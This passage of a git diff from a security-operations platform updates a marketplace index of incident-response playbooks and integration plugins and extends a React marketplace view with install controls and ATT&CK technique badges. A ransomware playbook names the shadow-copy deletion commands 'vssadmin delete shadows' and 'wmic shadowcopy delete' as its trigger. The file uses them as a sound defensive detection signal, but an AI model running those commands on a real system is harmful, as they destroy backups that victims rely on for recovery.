],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/insider-risk/insider-source-code-exfil.playbook.json"},{- "id": "det-cloud-001",- "type": "detection",- "name": "AWS Root Account Console Login",- "description": "Detects any console sign-in using the AWS root account.",+ "id": "lateral-cross-domain-v1",+ "type": "playbook",+ "name": "Lateral: Cross-Domain Movement",+ "description": "Triggered when an account from one trust domain authenticates to an asset in a separately-classified domain in a way that violates policy. Segments the network and investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["aws", "cloud", "mitre.attack.t1078.004"],+ "tags": [+ "lateral-movement",+ "lateral",+ "trust"+ ],"severity": "critical",- "category": "cloud"+ "trigger": "alert",+ "steps": 4,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-cross-domain.playbook.json"},{- "id": "det-cloud-002",- "type": "detection",- "name": "AWS S3 Bucket Made Public",- "description": "Detects when an S3 bucket ACL or policy is modified to allow public access.",+ "id": "lateral-kerberoasting-v1",+ "type": "playbook",+ "name": "Lateral: Kerberoasting",+ "description": "Triggered by abnormal SPN-ticket request volume from a single user. Resets impacted service-account credentials.","version": "1.0.0","author": "AiSOC",- "tags": ["aws", "s3", "data-exposure", "mitre.attack.t1530"],+ "tags": [+ "lateral-movement",+ "lateral",+ "ad"+ ],"severity": "high",- "category": "cloud"+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1558.003"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-kerberoasting.playbook.json"},{- "id": "det-id-001",- "type": "detection",- "name": "Brute Force - Multiple Failed Authentication Attempts",- "description": "Detects brute-force or password-spray attacks with >10 failures in 5 minutes.",+ "id": "lateral-pass-the-hash-v1",+ "type": "playbook",+ "name": "Lateral: Pass-The-Hash",+ "description": "Triggered by NTLM relay / PTH detection. Disables the user and isolates source + destination.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "lateral-movement",+ "lateral",+ "ad"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1550.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-pass-the-hash.playbook.json"+ },+ {+ "id": "lateral-psexec-detected-v1",+ "type": "playbook",+ "name": "Lateral: PsExec / Remote Service Creation",+ "description": "Triggered by remote service creation patterns indicative of PsExec / Impacket. Isolates target and source, investigates.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "lateral-movement",+ "lateral",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-psexec-detected.playbook.json"+ },+ {+ "id": "lateral-rdp-spray-v1",+ "type": "playbook",+ "name": "Lateral: RDP Spray",+ "description": "Triggered when one host opens RDP to >N hosts in <T window. Blocks the source IP, isolates host, investigates.","version": "1.0.0","author": "AiSOC",- "tags": ["brute-force", "identity", "mitre.attack.t1110"],+ "tags": [+ "lateral-movement",+ "lateral",+ "rdp"+ ],"severity": "high",- "category": "identity"+ "trigger": "alert",+ "steps": 5,+ "category": "lateral-movement",+ "mitre_techniques": [+ "T1021.001"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/lateral-movement/lateral-rdp-spray.playbook.json"},{- "id": "det-id-002",- "type": "detection",- "name": "Impossible Travel - Authentication from Two Distant Geolocations",- "description": "Detects geographically impossible login sequences indicating credential compromise.",+ "id": "ransomware-c2-block-v1",+ "type": "playbook",+ "name": "Ransomware: C2 Beacon Block",+ "description": "Triggered by C2 beaconing detections that match ransomware-family TTPs. Blocks C2 destinations at edge, isolates source host.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "c2"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1071"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-c2-block.playbook.json"+ },+ {+ "id": "ransomware-fileserver-encrypt-v1",+ "type": "playbook",+ "name": "Ransomware: File-Server Encryption Activity",+ "description": "Triggered by mass-rename / mass-extension-change on a file server. Network-segments the host to halt SMB lateral encryption.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "fileserver"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-fileserver-encrypt.playbook.json"+ },+ {+ "id": "ransomware-host-isolate-v1",+ "type": "playbook",+ "name": "Ransomware: Host Isolation & Snapshot",+ "description": "Immediate host isolation, disk snapshot for forensics, page on-call. Standard first-response for endpoint ransomware.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-host-isolate.playbook.json"+ },+ {+ "id": "ransomware-public-exposure-v1",+ "type": "playbook",+ "name": "Ransomware: Internet-Exposed Asset Containment",+ "description": "Triggered when a host with public exposure shows ransomware indicators. Pulls the asset off the internet immediately.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "exposure"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "ransomware",+ "mitre_techniques": [+ "T1486"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-public-exposure.playbook.json"+ },+ {+ "id": "ransomware-shadow-copy-deletion-v1",+ "type": "playbook",+ "name": "Ransomware: Shadow Copy Deletion Detected",+ "description": "Triggered on `vssadmin delete shadows` or wmic shadowcopy delete. Pre-encryption signal \u2014 isolate fast and verify backups.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "ransomware",+ "mitre_techniques": [+ "T1490"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/ransomware/ransomware-shadow-copy-deletion.playbook.json"+ },+ {+ "id": "supply-github-action-compromise-v1",+ "type": "playbook",+ "name": "Supply Chain: GitHub Action Compromise",+ "description": "Triggered when a referenced GitHub Action SHA changes unexpectedly or matches a compromise advisory. Pin to last-known-good and audit.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "github"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 5,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195.002"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-github-action-compromise.playbook.json"+ },+ {+ "id": "supply-iac-drift-v1",+ "type": "playbook",+ "name": "Supply Chain: IaC Drift Detected",+ "description": "Triggered when production infra deviates from IaC source of truth in a security-relevant way. Reverts to declared state.","version": "1.0.0","author": "AiSOC",- "tags": ["impossible-travel", "identity", "mitre.attack.t1078"],+ "tags": [+ "supply-chain",+ "supply-chain",+ "iac",+ "drift"+ ],"severity": "high",- "category": "identity"+ "trigger": "alert",+ "steps": 4,+ "category": "supply-chain",+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-iac-drift.playbook.json"},{- "id": "det-app-001",- "type": "detection",- "name": "SQL Injection Attempt via Web Application",- "description": "Detects SQL injection payloads in HTTP request parameters.",+ "id": "supply-malicious-npm-v1",+ "type": "playbook",+ "name": "Supply Chain: Malicious npm Package",+ "description": "Triggered when a published npm package matches a known-bad list. Blocks installs at registry-mirror, audits org installs.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "npm"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 6,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-malicious-npm.playbook.json"+ },+ {+ "id": "supply-pypi-typosquat-v1",+ "type": "playbook",+ "name": "Supply Chain: PyPI Typosquat",+ "description": "Triggered when a typosquat package is observed in CI installs. Pulls install lock to canonical name and audits.","version": "1.0.0","author": "AiSOC",- "tags": ["sqli", "application", "mitre.attack.t1190"],+ "tags": [+ "supply-chain",+ "supply-chain",+ "pypi"+ ],"severity": "high",- "category": "application"+ "trigger": "alert",+ "steps": 5,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1195"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-pypi-typosquat.playbook.json"+ },+ {+ "id": "supply-vendor-breach-v1",+ "type": "playbook",+ "name": "Supply Chain: Vendor Breach Notification",+ "description": "Triggered when a vendor publishes a breach advisory matching internal vendor inventory. Blocks vendor IPs, opens procurement review.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "supply-chain",+ "supply-chain",+ "vendor"+ ],+ "severity": "critical",+ "trigger": "alert",+ "steps": 4,+ "category": "supply-chain",+ "mitre_techniques": [+ "T1199"+ ],+ "verified": true,+ "source": "core",+ "path": "playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json"+ },+ {+ "id": "cloudflare-waf",+ "type": "plugin",+ "name": "Cloudflare WAF Action",+ "description": "Cloudflare WAF action plugin. Blocks IPs at the zone or account level, toggles \"Under Attack\" mode, manages firewall rules, and purges cache via the Cloudflare API. Useful as an inline response step in DDoS, credential stuffing, and bot-attack playbooks.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "network",+ "cloudflare",+ "waf",+ "response",+ "ddos"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/cloudflare-waf",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/cloudflare-waf/plugin.yaml"+ },+ {+ "id": "datadog-incidents",+ "type": "plugin",+ "name": "Datadog Incidents Connector",+ "description": "Pulls open Datadog incidents and security signals into AiSOC for unified triage. Supports both the Incidents API and the Security Monitoring signals API so AiSOC can mirror infra alerts and security findings side-by-side.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "observability",+ "datadog",+ "incidents",+ "signals",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/datadog-incidents",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/datadog-incidents/plugin.yaml"+ },+ {+ "id": "github-audit",+ "type": "plugin",+ "name": "GitHub Audit Log Connector",+ "description": "GitHub Enterprise / Organization audit log connector. Streams org audit events, lists secret-scanning alerts, and pulls user activity for security investigations. Backed by the GitHub Audit Log API.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "vcs",+ "github",+ "audit",+ "identity",+ "supply-chain"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/github-audit",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/github-audit/plugin.yaml"+ },+ {+ "id": "gitlab-audit",+ "type": "plugin",+ "name": "GitLab Audit Connector",+ "description": "Pulls GitLab audit events at the instance, group, or project level. Mirrors the github-audit connector so security teams can monitor access changes, permission grants, secret rotations, and CI configuration changes across both GitHub and GitLab from a single SOC.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "gitlab",+ "audit",+ "devsecops",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/gitlab-audit",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/gitlab-audit/plugin.yaml"+ },+ {+ "id": "jamf-mdm",+ "type": "plugin",+ "name": "Jamf Pro MDM Connector",+ "description": "Jamf Pro MDM connector for Apple device fleet management. Looks up devices, retrieves compliance posture, locks compromised endpoints, wipes lost devices, and pulls inventory metadata for case enrichment \u2014 all via the Jamf Pro Classic and Pro REST APIs.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "mdm",+ "jamf",+ "endpoint",+ "apple",+ "identity"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/jamf-mdm",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/jamf-mdm/plugin.yaml"+ },+ {+ "id": "mttr-widget",+ "type": "plugin",+ "name": "MTTR Dashboard Widget",+ "description": "Computes Mean Time to Respond (MTTR) and Mean Time to Detect (MTTD) metrics from closed AiSOC cases, broken down by severity and playbook. Returns structured data ready for the AiSOC dashboard widget renderer.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "metrics",+ "mttr",+ "mttd",+ "dashboard",+ "widget"+ ],+ "plugin_type": "widget",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/mttr-widget",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/mttr-widget/plugin.yaml"+ },+ {+ "id": "notion-incidents",+ "type": "plugin",+ "name": "Notion Incidents Sync",+ "description": "Syncs AiSOC incidents to a Notion database. Creates a new page per incident with severity, status, MITRE techniques, summary, and a link back to the AiSOC case. Useful for runbook archives and post-mortems.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "collaboration",+ "notion",+ "incidents",+ "postmortem",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/notion-incidents",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/notion-incidents/plugin.yaml"+ },+ {+ "id": "okta-connector",+ "type": "plugin",+ "name": "Okta Connector",+ "description": "Okta Identity Cloud connector. Looks up users, lists active sessions, suspends/unsuspends accounts, clears MFA factors, and logs out all active sessions for a given user \u2014 all via the Okta Management API.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "okta",+ "iam",+ "sso"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/okta-connector",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/okta-connector/plugin.yaml"+ },+ {+ "id": "onepassword-events",+ "type": "plugin",+ "name": "1Password Events Connector",+ "description": "Pulls 1Password Business and Enterprise events (sign-in attempts, item usage, and audit events) via the 1Password Events API. Useful for detecting credential theft, anomalous access patterns, and insider misuse of privileged secrets.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "identity",+ "secrets",+ "1password",+ "events",+ "connector"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/onepassword-events",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/onepassword-events/plugin.yaml"+ },+ {+ "id": "pagerduty-paging",+ "type": "plugin",+ "name": "PagerDuty Paging",+ "description": "Pages on-call responders via PagerDuty. Supports trigger / acknowledge / resolve incidents through the Events API v2 and direct API calls for service/escalation lookups.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "paging",+ "pagerduty",+ "oncall",+ "incidents",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/pagerduty-paging",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/pagerduty-paging/plugin.yaml"+ },+ {+ "id": "slack-quarantine",+ "type": "plugin",+ "name": "Slack Quarantine Notifier",+ "description": "Posts a structured quarantine notification to a Slack channel when a host or user has been isolated during an incident response. Supports rich Block Kit formatting, direct-message escalations to the on-call analyst, and thread-based updates as the incident evolves.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "slack",+ "notification",+ "quarantine",+ "response"+ ],+ "plugin_type": "responder",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/slack-quarantine",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/slack-quarantine/plugin.yaml"+ },+ {+ "id": "snowflake-events",+ "type": "plugin",+ "name": "Snowflake Events Connector",+ "description": "Polls Snowflake account/login/query history from the SNOWFLAKE.ACCOUNT_USAGE schema. Useful for spotting anomalous queries, exfiltration patterns, and access from unexpected regions or service accounts.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "data",+ "snowflake",+ "warehouse",+ "events",+ "connector",+ "exfil"+ ],+ "plugin_type": "connector",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/snowflake-events",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/snowflake-events/plugin.yaml"+ },+ {+ "id": "tailscale-acl",+ "type": "plugin",+ "name": "Tailscale ACL Action",+ "description": "Tailscale ACL action plugin. Lists devices, retrieves the current tailnet policy, suspends devices, and pushes ACL updates via the Tailscale API. Useful as an isolation step in account-takeover and lateral-movement playbooks.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "network",+ "tailscale",+ "zerotrust",+ "response",+ "isolation"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/tailscale-acl",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/tailscale-acl/plugin.yaml"+ },+ {+ "id": "twilio-sms",+ "type": "plugin",+ "name": "Twilio SMS Notifier",+ "description": "Sends SMS messages via Twilio's REST API. Useful for paging on-call responders, emergency notifications, and out-of-band alerts when email or chat are unavailable.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "notification",+ "sms",+ "twilio",+ "paging",+ "action"+ ],+ "plugin_type": "action",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/twilio-sms",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/twilio-sms/plugin.yaml"+ },+ {+ "id": "yara-enricher",+ "type": "plugin",+ "name": "YARA File Enricher",+ "description": "Scans a file (supplied as bytes or a local path) against a configurable set of YARA rule files. Returns matching rule names, tags, and metadata so analysts can quickly triage malware indicators.",+ "version": "1.0.0",+ "author": "AiSOC Core Team",+ "tags": [+ "malware",+ "yara",+ "file-analysis",+ "enrichment"+ ],+ "plugin_type": "enricher",+ "license": "MIT",+ "homepage": "https://github.com/beenuar/aisoc/tree/main/plugins/yara-enricher",+ "min_aisoc_version": "4.0.0",+ "sdks": [+ "python",+ "go"+ ],+ "mitre_techniques": [],+ "verified": true,+ "source": "core",+ "path": "plugins/yara-enricher/plugin.yaml"}]}diff --git a/apps/web/src/components/marketplace/MarketplaceView.tsx b/apps/web/src/components/marketplace/MarketplaceView.tsxindex e5dbd197d..49156a46e 100644--- a/apps/web/src/components/marketplace/MarketplaceView.tsx+++ b/apps/web/src/components/marketplace/MarketplaceView.tsx@@ -1,12 +1,12 @@'use client';-import { useState, useMemo } from 'react';+import { useCallback, useMemo, useState } from 'react';import useSWR from 'swr';import clsx from 'clsx';// ── Types ────────────────────────────────────────────────────────────────────-interface MarketplaceItem {+export interface MarketplaceItem {id: string;type: 'playbook' | 'detection' | 'plugin';name: string;@@ -15,24 +15,72 @@ interface MarketplaceItem {author: string;tags: string[];severity?: 'low' | 'medium' | 'high' | 'critical';- // community stats+ // community stats (populated when the install API is wired up)install_count?: number;rating?: number;rating_count?: number;+ // provenanceverified?: boolean;+ source?: 'core' | 'community';+ path?: string;// playbook-specifictrigger?: string;steps?: number;// detection-specificcategory?: string;+ log_source?: string;+ playbook?: string;// plugin-specificplugin_type?: string;+ license?: string;+ homepage?: string;+ min_aisoc_version?: string;+ sdks?: string[];+ // shared+ mitre_techniques?: string[];+}++interface MitreCoverage {+ techniques: Record<string, number>;+ unique_techniques: number;+ total_with_mitre: number;+}++interface MarketplaceStats {+ total: number;+ playbooks: number;+ detections: number;+ plugins: number;+ verified: number;+ community: number;}interface MarketplaceIndex {version: string;generated: string;items: MarketplaceItem[];+ stats?: MarketplaceStats;+ mitre_coverage?: MitreCoverage;+}++interface InstalledRecord {+ id: string;+ type: 'detection' | 'playbook' | 'plugin';+ name: string;+ version: string;+ content_sha256: string;+ installed_at: string;+ installed_by: string;+}++interface InstalledResponse {+ total: number;+ items: InstalledRecord[];+}++// Composite key for the installed-items set: "<type>:<id>"+function installedKey(type: string, id: string): string {+ return `${type}:${id}`;}// ── Constants ─────────────────────────────────────────────────────────────────@@ -98,6 +146,17 @@ function VerifiedBadge() {);}+function CommunityBadge() {+ return (+ <span+ title="Community contribution"+ className="inline-flex items-center gap-0.5 rounded border border-blue-700/60 bg-blue-900/30 px-1.5 py-0.5 text-xs font-medium text-blue-300"+ >+ Community+ </span>+ );+}+function StarRating({ rating, count }: { rating: number; count: number }) {const full = Math.floor(rating);const half = rating - full >= 0.5;@@ -116,46 +175,111 @@ function StarRating({ rating, count }: { rating: number; count: number }) {);}-function InstallButton({ item }: { item: MarketplaceItem }) {- const [installing, setInstalling] = useState(false);- const [installed, setInstalled] = useState(false);-- const handleInstall = async () => {- setInstalling(true);- try {- const endpoint =- item.type === 'plugin'- ? `/api/v1/community/plugins/${item.id}/install`- : item.type === 'detection'- ? `/api/v1/community/detections/${item.id}/install`- : `/api/v1/community/playbooks/${item.id}/install`;-- await fetch(endpoint, { method: 'POST' });- setInstalled(true);- } catch {- // silently ignore for now- } finally {- setInstalling(false);- }- };+function MitreTechniquesRow({ ids }: { ids: string[] }) {+ if (!ids || ids.length === 0) return null;+ const head = ids.slice(0, 3);+ const rest = ids.length - head.length;+ return (+ <div+ className="flex flex-wrap items-center gap-1"+ title={`Maps to MITRE ATT&CK techniques: ${ids.join(', ')}`}+ >+ <span className="text-[10px] uppercase tracking-wide text-zinc-500">+ ATT&CK+ </span>+ {head.map((tid) => (+ <a+ key={tid}+ href={`https://attack.mitre.org/techniques/${tid.replace('.', '/')}/`}+ target="_blank"+ rel="noopener noreferrer"+ className="rounded border border-rose-700/60 bg-rose-900/30 px-1.5 py-0.5 text-[11px] font-mono font-medium text-rose-200 hover:bg-rose-900/50"+ >+ {tid}+ </a>+ ))}+ {rest > 0 && (+ <span className="rounded bg-zinc-700/60 px-1.5 py-0.5 text-[11px] text-zinc-400">+ +{rest}+ </span>+ )}+ </div>+ );+}++interface InstallButtonProps {+ item: MarketplaceItem;+ installed: boolean;+ busy: boolean;+ onInstall: (item: MarketplaceItem) => void | Promise<void>;+ onUninstall: (item: MarketplaceItem) => void | Promise<void>;+}++function InstallButton({ item, installed, busy, onInstall, onUninstall }: InstallButtonProps) {+ if (installed) {+ // Allow operators to back out of an install; visible affordance, not destructive+ // since marketplace items are already on disk – we just clear the per-tenant flag.+ return (+ <div className="flex items-center gap-1">+ <span+ className="rounded bg-emerald-900/40 px-2 py-1 text-xs font-medium text-emerald-300"+ title="Enabled for this tenant"+ >+ ✓ Installed+ </span>+ <button+ onClick={() => onUninstall(item)}+ disabled={busy}+ title="Remove from this tenant"+ className="rounded px-1.5 py-1 text-xs text-zinc-400 hover:text-rose-300 disabled:opacity-50"+ >+ {busy ? '…' : '×'}+ </button>+ </div>+ );+ }return (<button- onClick={handleInstall}- disabled={installing || installed}- className={clsx(- 'rounded px-2 py-1 text-xs font-medium transition-colors',- installed- ? 'bg-emerald-900/40 text-emerald-300 cursor-default'- : 'bg-zinc-700 text-zinc-200 hover:bg-zinc-600'- )}+ onClick={() => onInstall(item)}+ disabled={busy}+ className="rounded bg-zinc-700 px-2 py-1 text-xs font-medium text-zinc-200 transition-colors hover:bg-zinc-600 disabled:opacity-60">- {installed ? '✓ Installed' : installing ? '…' : 'Install'}+ {busy ? '…' : 'Install'}</button>);}-function ItemCard({ item, sortBy }: { item: MarketplaceItem; sortBy: string }) {+function SdkChips({ sdks }: { sdks?: string[] }) {+ if (!sdks || sdks.length === 0) return null;+ return (+ <span+ className="inline-flex items-center gap-1"+ title={`Reference implementations available: ${sdks.join(', ')}`}+ >+ {sdks.includes('python') && (+ <span className="rounded border border-yellow-700/60 bg-yellow-900/30 px-1.5 py-0.5 text-[10px] font-mono uppercase text-yellow-300">+ Py+ </span>+ )}+ {sdks.includes('go') && (+ <span className="rounded border border-sky-700/60 bg-sky-900/30 px-1.5 py-0.5 text-[10px] font-mono uppercase text-sky-300">+ Go+ </span>+ )}+ </span>+ );+}++interface ItemCardProps {+ item: MarketplaceItem;+ installed: boolean;+ busy: boolean;+ onInstall: (item: MarketplaceItem) => void | Promise<void>;+ onUninstall: (item: MarketplaceItem) => void | Promise<void>;+}++function ItemCard({ item, installed, busy, onInstall, onUninstall }: ItemCardProps) {return (<div className="flex flex-col gap-3 rounded-xl border border-zinc-700/60 bg-zinc-800/60 p-4 hover:border-zinc-600 transition-colors">{/* Header */}@@ -165,7 +289,7 @@ function ItemCard({ item, sortBy }: { item: MarketplaceItem; sortBy: string }) {</h3><div className="flex shrink-0 flex-wrap gap-1 justify-end"><TypeBadge type={item.type} />- {item.verified && <VerifiedBadge />}+ {item.source === 'community' ? <CommunityBadge /> : item.verified && <VerifiedBadge />}</div></div>@@ -174,19 +298,26 @@ function ItemCard({ item, sortBy }: { item: MarketplaceItem; sortBy: string }) {{item.description}</p>+ {/* MITRE techniques (detections + playbooks) */}+ {item.mitre_techniques && item.mitre_techniques.length > 0 && (+ <MitreTechniquesRow ids={item.mitre_techniques} />+ )}+{/* Rating + install count */}- <div className="flex items-center justify-between gap-2">- {item.rating !== undefined && item.rating > 0 ? (- <StarRating rating={item.rating} count={item.rating_count ?? 0} />- ) : (- <span className="text-xs text-zinc-600">No ratings yet</span>- )}- {item.install_count !== undefined && (- <span className="text-xs text-zinc-500">- {item.install_count.toLocaleString()} installs- </span>- )}- </div>+ {(item.rating || item.install_count) && (+ <div className="flex items-center justify-between gap-2">+ {item.rating !== undefined && item.rating > 0 ? (+ <StarRating rating={item.rating} count={item.rating_count ?? 0} />+ ) : (+ <span className="text-xs text-zinc-600">No ratings yet</span>+ )}+ {item.install_count !== undefined && (+ <span className="text-xs text-zinc-500">+ {item.install_count.toLocaleString()} installs+ </span>+ )}+ </div>+ )}{/* Metadata row */}<div className="flex flex-wrap items-center gap-2 mt-auto pt-2 border-t border-zinc-700/40">@@ -203,13 +334,23 @@ function ItemCard({ item, sortBy }: { item: MarketplaceItem; sortBy: string }) {{item.type === 'detection' && item.category && (<span className="text-xs text-zinc-500">{item.category}</span>)}+ {item.type === 'detection' && item.log_source && (+ <span className="text-xs text-zinc-500">via {item.log_source}</span>+ )}{item.type === 'plugin' && item.plugin_type && (<span className="text-xs text-zinc-500">{item.plugin_type}</span>)}+ {item.type === 'plugin' && <SdkChips sdks={item.sdks} />}<span className="text-xs text-zinc-600">v{item.version}</span><div className="ml-auto">- <InstallButton item={item} />+ <InstallButton+ item={item}+ installed={installed}+ busy={busy}+ onInstall={onInstall}+ onUninstall={onUninstall}+ /></div></div>@@ -238,6 +379,17 @@ function ItemCard({ item, sortBy }: { item: MarketplaceItem; sortBy: string }) {// ── Main Component ────────────────────────────────────────────────────────────type SortOption = 'name' | 'install_count' | 'rating' | 'newest';+type SourceFilter = 'all' | 'core' | 'community';+type SdkFilter = 'all' | 'python' | 'go' | 'both';++// Fetch the installed-set, but treat 401/404 as "not signed in / API offline"+// so the marketplace stays usable in static demos and unauthenticated previews.+async function fetchInstalled(url: string): Promise<InstalledResponse | null> {+ const res = await fetch(url, { credentials: 'include' });+ if (res.status === 401 || res.status === 404) return null;+ if (!res.ok) throw new Error(`installed: HTTP ${res.status}`);+ return (await res.json()) as InstalledResponse;+}export function MarketplaceView() {const { data, error, isLoading } = useSWR<MarketplaceIndex>(@@ -245,40 +397,190 @@ export function MarketplaceView() {fetcher);+ const {+ data: installedData,+ mutate: refreshInstalled,+ } = useSWR<InstalledResponse | null>(+ '/api/v1/marketplace/installed',+ fetchInstalled,+ {+ revalidateOnFocus: false,+ shouldRetryOnError: false,+ }+ );++ // Locally-tracked 